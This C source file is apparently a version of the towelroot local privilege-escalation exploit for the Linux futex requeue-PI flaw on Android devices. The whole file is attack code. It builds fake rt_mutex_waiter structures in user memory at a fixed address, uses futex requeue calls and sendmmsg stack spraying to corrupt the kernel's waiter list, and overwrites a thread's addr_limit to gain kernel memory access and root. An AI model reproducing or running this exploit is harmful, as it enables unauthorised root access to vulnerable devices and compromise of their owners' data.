/* getroot 2014/07/12 */

/*
 * Copyright (C) 2014 CUBE
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include <stdio.h>
#include <stdlib.h>
#include <stdbool.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <pthread.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <linux/futex.h>
#include <sys/resource.h>
#include <string.h>
#include <fcntl.h>


extern void futex_process_kernel_memory_requests(void);


#define FUTEX_WAIT_REQUEUE_PI   11
#define FUTEX_CMP_REQUEUE_PI    12

#define USER_PRIO_BASE          120

#define ARRAY_SIZE(a)           (sizeof (a) / sizeof (*(a)))

#define LOCAL_PORT              5551

#define SIGNAL_HACK_KERNEL      12

struct task_struct;

struct thread_info {
  unsigned long flags;
  int preempt_count;
  unsigned long addr_limit;
  struct task_struct *task;

  /* ... */
};

struct list_head;

struct list_head {
  struct list_head *next;
  struct list_head *prev;
};

struct plist_node {
  int                     prio;
  struct list_head        prio_list;
  struct list_head        node_list;
};

struct rt_mutex;

struct rt_mutex_waiter {
  struct plist_node       list_entry;
  struct plist_node       pi_list_entry;
  struct task_struct      *task;
  struct rt_mutex         *lock;
};

struct mmsghdr {
  struct msghdr msg_hdr;
  unsigned int  msg_len;
};

static int swag = 0;
static int swag2 = 0;

static pid_t waiter_thread_tid;

static pthread_mutex_t done_lock;
static pthread_cond_t done;

static pthread_mutex_t is_thread_desched_lock;
static pthread_cond_t is_thread_desched;

static pthread_mutex_t is_thread_awake_lock;
static pthread_cond_t is_thread_awake;

static pthread_mutex_t is_kernel_writing_lock;

static volatile int do_socket_tid_read = 0;
static volatile int did_socket_tid_read = 0;

static volatile int do_hack_tid_read = 0;
static volatile int did_hack_tid_read = 0;

static volatile int do_dm_tid_read = 0;
static volatile int did_dm_tid_read = 0;

static pid_t last_tid = 0;

static volatile int_sync_time_out = 0;


#if 0
ssize_t
read_kernel_memory(const void *src, void *dest, size_t count)
{
  int pipefd[2];
  ssize_t len;

  pipe(pipefd);

  len = write(pipefd[1], src, count);
  if (len != count) {
    printf("FAILED READ #0 @ %p : %d %d\n", src, (int)len, errno);
    goto error_exit;
  }

  len = read(pipefd[0], dest, count);
  if (len != count) {
    printf("FAILED READ #1 @ %p : %d %d\n", src, (int)len, errno);
  }

error_exit:
  close(pipefd[0]);
  close(pipefd[1]);

  return len;
}

ssize_t
write_kernel_memory(void *dest, const void *src, size_t count)
{
  int pipefd[2];
  ssize_t len;

  pipe(pipefd);

  len = write(pipefd[1], src, count);
  if (len != count) {
    printf("FAILED WRITE #0 @ %p : %d %d\n", dest, (int)len, errno);
    goto error_exit;
  }

  len = read(pipefd[0], dest, count);
  if (len != count) {
    printf("FAILED WRITE #1 @ %p : %d %d\n", dest, (int)len, errno);
  }

error_exit:
  close(pipefd[0]);
  close(pipefd[1]);

  return len;
}
#endif


static void
infinite_loop(void)
{
  while (1) {
    sleep(3600);
  }
}

static int
read_voluntary_ctxt_switches(pid_t pid)
{
  char filename[256];
  FILE *fp;
  int vcscnt = -1;

  sprintf(filename, "/proc/self/task/%d/status", pid);

  fp = fopen(filename, "rb");

  if (fp) {
    char filebuf[4096];
    char *pdest;

    fread(filebuf, 1, sizeof filebuf, fp);

    pdest = strstr(filebuf, "voluntary_ctxt_switches");
    vcscnt = atoi(pdest + 0x19);

    fclose(fp);
  }

  return vcscnt;
}

static void
sync_timeout_task(int sig)
{
  int_sync_time_out = 1;
}

static int
sync_with_child(pid_t pid, int volatile *do_request, int volatile *did_request)
{
  struct sigaction act;
  int vcscnt;

  int_sync_time_out = 0;

  act.sa_handler = sync_timeout_task;
  act.sa_mask = 0;
  act.sa_flags = 0;
  act.sa_restorer = NULL;
  sigaction(SIGALRM, &act, NULL);

  alarm(3);

  while (*do_request == 0) {
    if (int_sync_time_out) {
      return -1;
    }
  }

  alarm(0);

  vcscnt = read_voluntary_ctxt_switches(pid);

  *did_request = 1;

  while (read_voluntary_ctxt_switches(pid) != vcscnt + 1) {
    usleep(10);
  }

  return 0;
}

static void
sync_with_parent(int volatile *do_request, int volatile *did_request)
{
  *do_request = 1;

  while (*did_request == 0) {
  }
}

static void
kernel_hack_task(int signum)
{
  pthread_mutex_lock(&is_thread_awake_lock);
  pthread_cond_signal(&is_thread_awake);
  pthread_mutex_unlock(&is_thread_awake_lock);

  sync_with_parent(&do_hack_tid_read, &did_hack_tid_read);

  pthread_mutex_lock(&is_kernel_writing_lock);

  futex_process_kernel_memory_requests();

  pthread_mutex_unlock(&is_kernel_writing_lock);

  pthread_mutex_lock(&done_lock);
  pthread_cond_signal(&done);
  pthread_mutex_unlock(&done_lock);
}

static void *
call_futex_lock_pi_with_priority(void *arg)
{
  int prio;
  struct sigaction act;
  int ret;

  prio = (int)arg;
  last_tid = syscall(__NR_gettid);

  pthread_mutex_lock(&is_thread_desched_lock);
  pthread_cond_signal(&is_thread_desched);

  act.sa_handler = kernel_hack_task;
  act.sa_mask = 0;
  act.sa_flags = 0;
  act.sa_restorer = NULL;
  sigaction(SIGNAL_HACK_KERNEL, &act, NULL);

  setpriority(PRIO_PROCESS, 0, prio);

  pthread_mutex_unlock(&is_thread_desched_lock);

  sync_with_parent(&do_dm_tid_read, &did_dm_tid_read);

  ret = syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);
  printf("futex dm: %d\n", ret);

  return NULL;
}

static pid_t
do_futex_lock_pi_with_priority(int prio)
{
  pthread_t th4;
  pid_t pid;

  do_dm_tid_read = 0;
  did_dm_tid_read = 0;

  pthread_mutex_lock(&is_thread_desched_lock);
  pthread_create(&th4, 0, call_futex_lock_pi_with_priority, (void *)prio);
  pthread_cond_wait(&is_thread_desched, &is_thread_desched_lock);

  pid = last_tid;

  sync_with_child(pid, &do_dm_tid_read, &did_dm_tid_read);

  pthread_mutex_unlock(&is_thread_desched_lock);

  return pid;
}

static int
server_for_setup_rt_waiter(void)
{
  int sockfd;
  int yes = 1;
  struct sockaddr_in addr = {0};

  sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);

  setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, (char *)&yes, sizeof(yes));

  addr.sin_family = AF_INET;
  addr.sin_port = htons(LOCAL_PORT);
  addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  bind(sockfd, (struct sockaddr *)&addr, sizeof(addr));

  listen(sockfd, 1);

  return accept(sockfd, NULL, NULL);
}

static int
connect_server_socket(void)
{
  int sockfd;
  struct sockaddr_in addr = {0};
  int ret;
  int sock_buf_size;

  sockfd = socket(AF_INET, SOCK_STREAM, SOL_TCP);
  if (sockfd < 0) {
    printf("socket failed\n");
    usleep(10);
  }
  else {
    addr.sin_family = AF_INET;
    addr.sin_port = htons(LOCAL_PORT);
    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
  }

  while (connect(sockfd, (struct sockaddr *)&addr, 16) < 0) {
    usleep(10);
  }

  sock_buf_size = 1;
  setsockopt(sockfd, SOL_SOCKET, SO_SNDBUF, (char *)&sock_buf_size, sizeof(sock_buf_size));

  return sockfd;
}

static void *
client_to_setup_rt_waiter(void *waiter_plist)
{
  int sockfd;
  struct mmsghdr msgvec[1];
  struct iovec msg_iov[8];
  unsigned long databuf[0x20];
  int i;
  int ret;

  waiter_thread_tid = syscall(__NR_gettid);
  setpriority(PRIO_PROCESS, 0, 12);

  sockfd = connect_server_socket();

  for (i = 0; i < ARRAY_SIZE(databuf); i++) {
    databuf[i] = (unsigned long)waiter_plist;
  }

  for (i = 0; i < ARRAY_SIZE(msg_iov); i++) {
    msg_iov[i].iov_base = waiter_plist;
    msg_iov[i].iov_len = 0x10;
  }

  msgvec[0].msg_hdr.msg_name = databuf;
  msgvec[0].msg_hdr.msg_namelen = sizeof databuf;
  msgvec[0].msg_hdr.msg_iov = msg_iov;
  msgvec[0].msg_hdr.msg_iovlen = ARRAY_SIZE(msg_iov);
  msgvec[0].msg_hdr.msg_control = databuf;
  msgvec[0].msg_hdr.msg_controllen = ARRAY_SIZE(databuf);
  msgvec[0].msg_hdr.msg_flags = 0;
  msgvec[0].msg_len = 0;

  syscall(__NR_futex, &swag, FUTEX_WAIT_REQUEUE_PI, 0, 0, &swag2, 0);

  sync_with_parent(&do_socket_tid_read, &did_socket_tid_read);

  ret = 0;

  while (1) {
    ret = syscall(__NR_sendmmsg, sockfd, msgvec, 1, 0);
    if (ret <= 0) {
      break;
    }
  }

  if (ret < 0) {
    perror("SOCKSHIT");
  }

  printf("EXIT WTF\n");

  return NULL;
}

static struct rt_mutex_waiter *
rt_mutex_waiter_first(void *mem)
{
  return (struct rt_mutex_waiter *)(mem - 4);
}

static void
plist_set_next(struct list_head *node, struct list_head *head)
{
  node->next = head;
  head->prev = node;
}

static void
setup_waiter_params(struct rt_mutex_waiter *rt_waiters)
{
  rt_waiters[0].list_entry.prio = USER_PRIO_BASE + 9;
  rt_waiters[1].list_entry.prio = USER_PRIO_BASE + 13;

  plist_set_next(&rt_waiters[0].list_entry.prio_list, &rt_waiters[1].list_entry.prio_list);
  plist_set_next(&rt_waiters[0].list_entry.node_list, &rt_waiters[1].list_entry.node_list);
}

static bool
do_exploit(void *waiter_plist)
{
  void *magicval;
  struct rt_mutex_waiter *rt_waiters;
  pid_t pid;
  struct thread_info *hack_thread_stack;

  rt_waiters = rt_mutex_waiter_first(waiter_plist);

  syscall(__NR_futex, &swag2, FUTEX_LOCK_PI, 1, 0, NULL, 0);

  while (syscall(__NR_futex, &swag, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag) != 1) {
    usleep(10);
  }

  do_futex_lock_pi_with_priority(6);
  do_futex_lock_pi_with_priority(7);

  swag2 = 0;
  do_socket_tid_read = 0;
  did_socket_tid_read = 0;

  syscall(__NR_futex, &swag2, FUTEX_CMP_REQUEUE_PI, 1, 0, &swag2, swag2);

  if (sync_with_child(waiter_thread_tid, &do_socket_tid_read, &did_socket_tid_read) < 0) {
    printf("failed to exploit...\n");
    return false;
  }

  setup_waiter_params(rt_waiters);

  magicval = rt_waiters[0].list_entry.prio_list.next;

  do_futex_lock_pi_with_priority(11);

  if (rt_waiters[0].list_entry.prio_list.next == magicval) {
    printf("failed to exploit...\n");
    return false;
  }

  pthread_mutex_lock(&is_kernel_writing_lock);

  setup_waiter_params(rt_waiters);

  pid = do_futex_lock_pi_with_priority(11);

  magicval = rt_waiters[0].list_entry.prio_list.next;
  hack_thread_stack = (struct thread_info *)((unsigned long)magicval & 0xffffe000);

#ifdef DEBUG
  printf("hack thread_info: %p\n", hack_thread_stack);
#endif

  pthread_mutex_lock(&is_thread_awake_lock);

  kill(pid, SIGNAL_HACK_KERNEL);

  pthread_cond_wait(&is_thread_awake, &is_thread_awake_lock);
  pthread_mutex_unlock(&is_thread_awake_lock);

  sync_with_child(pid, &do_hack_tid_read, &did_hack_tid_read);

  setup_waiter_params(rt_waiters);
  rt_waiters[1].list_entry.prio_list.prev = (void *)&hack_thread_stack->addr_limit;

  do_futex_lock_pi_with_priority(12);

#ifdef DEBUG
  printf("GOING\n");
#endif

  pthread_mutex_unlock(&is_kernel_writing_lock);

  return true;
}

int
futex_exploit_main(void)
{
  pthread_t thread_client_to_setup_rt_waiter;
  unsigned long mapped_address;
  void *waiter_plist;

  mapped_address = (unsigned long)mmap((void *)0xa0000000, 0x110000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED | MAP_FIXED | MAP_ANONYMOUS, -1, 0);
  if (mapped_address < 0x80000000) {
    printf("mmap failed?\n");
    return 1;
  }

  waiter_plist = (void *)mapped_address + 0x800;

  pthread_create(&thread_client_to_setup_rt_waiter, NULL, client_to_setup_rt_waiter, waiter_plist);
  
  if (server_for_setup_rt_waiter() < 0) {
    printf("Server failed\n");
    return 1;
  }

  pthread_mutex_lock(&done_lock);

  if (!do_exploit(waiter_plist)) {
    return 1;
  }

  pthread_cond_wait(&done, &done_lock);
  pthread_mutex_unlock(&done_lock);

  printf("Thank you for using towelroot!\n");

  return 0;
}
